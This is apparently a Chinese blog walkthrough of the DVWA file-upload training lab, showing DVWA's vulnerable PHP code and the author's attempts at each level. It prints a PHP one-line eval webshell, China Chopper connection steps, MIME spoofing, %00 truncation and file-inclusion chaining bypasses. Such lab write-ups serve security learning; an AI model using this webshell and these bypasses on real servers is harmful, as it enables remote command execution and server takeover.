DVWA——文件上传

2024-01-18 22:41:10

DVWA——文件上传漏洞File Upload

文件上传漏洞，通常是由于对上传文件的类型、内容没有进行严格的过滤、检查，使得攻击者可以通过上传木马获取服务器的webshell权限，因此文件上传漏洞带来的危害常常是毁灭性的，Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

LOW

服务器端核心代码如下：

PHP basename() 函数

basename() 函数返回路径中的文件名部分。

语法：basename(path,suffix)

参数	描述
path	必需。规定要检查的路径。
suffix	可选。规定文件扩展名。如果文件有名有文件扩展名，将不会显示这个扩展名。

漏洞利用

文件上传漏洞的利用是有限制条件的，首先当然是要能够成功上传木马文件，其次上传文件必须能够被执行，最后就是上传文件的路径必须可知。不幸的是，这里三个条件全都满足。

上传文件hack.php（一句话木马）

<?php @eval($_POST['hacker']); ?>

上传成功并返回了上传路径

打开中国菜刀，右键添加，

地址栏填入上传文件所在路径http://192.168.31.139/dvwa/hackable/uploads/hack.php

参数名（一句话木马口令）为hacker

然后菜刀就会通过向服务器发送包含hacker参数的post请求，在服务器上执行任意命令，获取webshell权限。

可以下载、修改服务器的所有文件。

打开虚拟终端执行命令

Medium

服务器端代码：

if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) )

Medium级别的代码对上传文件的类型、大小做了限制，要求文件类型必须是jpeg或者png，大小不能超过100000B（约为97.6KB）

漏洞利用

1 文件包含+文件上传

修改一句话木马文件后缀为.png 文件上传成功

但是发现并不能通过菜刀连接从而获得webshell权限

注意：这里菜刀需要清除缓存

中国菜刀的原理是向上传文件发送包含hacker参数的post请求，通过控制hacker参数来执行不同的命令，而这里服务器将木马文件解析成了图片文件，因此向其发送post请求时，服务器只会返回这个“图片”文件，并不会执行相应命令。

那么如何让服务器将其解析为php文件呢？我们想到文件包含漏洞。这里可以借助Medium级别的文件包含漏洞来获取webshell权限，打开中国菜刀，右键添加，在地址栏中输入

http://192.168.31.139/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.31.139/dvwa/hackable/uploads/hack.png

参数名为hacker，脚本语言选择php。

=================额，好吧！理论上是可行的，但是我不知道哪里出了问题。再讲第二种方法

2 burp抓包修改文件类型

反复试了几次都没成功，发现原因在于浏览器的cookie信息中保存DVWA的安全等级，没有变过来。直接将security=impossible改为medium即可

菜刀连接获得webshell权限！！！

3 %00截断绕过

在php版本小于5.3.4的服务器中，当Magic_quote_gpc选项为off时，可以在文件名中使用%00截断，所以可以把上传文件命名为hack.php%00.png。

可以看到，包中的文件类型为image/png，可以通过文件类型检查。

上传成功

High

服务器端代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            $html .= '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

strtolower() 函数把字符串转换为小写。

getimagesize() 函数用于获取图像大小及相关信息，成功返回一个数组，失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

语法格式：

array getimagesize ( string $filename [, array &$imageinfo ] )

getimagesize() 函数将测定任何 GIF，JPG，PNG，SWF，SWC，PSD，TIFF，BMP，IFF，JP2，JPX，JB2，JPC，XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

漏洞利用

采用%00截断的方法可以轻松绕过文件名的检查，但是需要将上传文件的文件头伪装成图片，由于实验环境的php版本原因，这里只演示如何借助High级别的文件包含漏洞来完成攻击。

首先利用copy将一句话木马文件hack.php与图片文件1.jpg合并

打开hack.php 一句话木马藏在了最后

顺利通过文件头检查，可以成功上传。

上菜刀，右键添加shell，地址栏填入（利用了文件包含漏洞）

http://192.168.31.139/dvwa/vulnerabilities/fi/?page=file:///C:/phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/hack.jpg

拿不到webshell。。。

码农公寓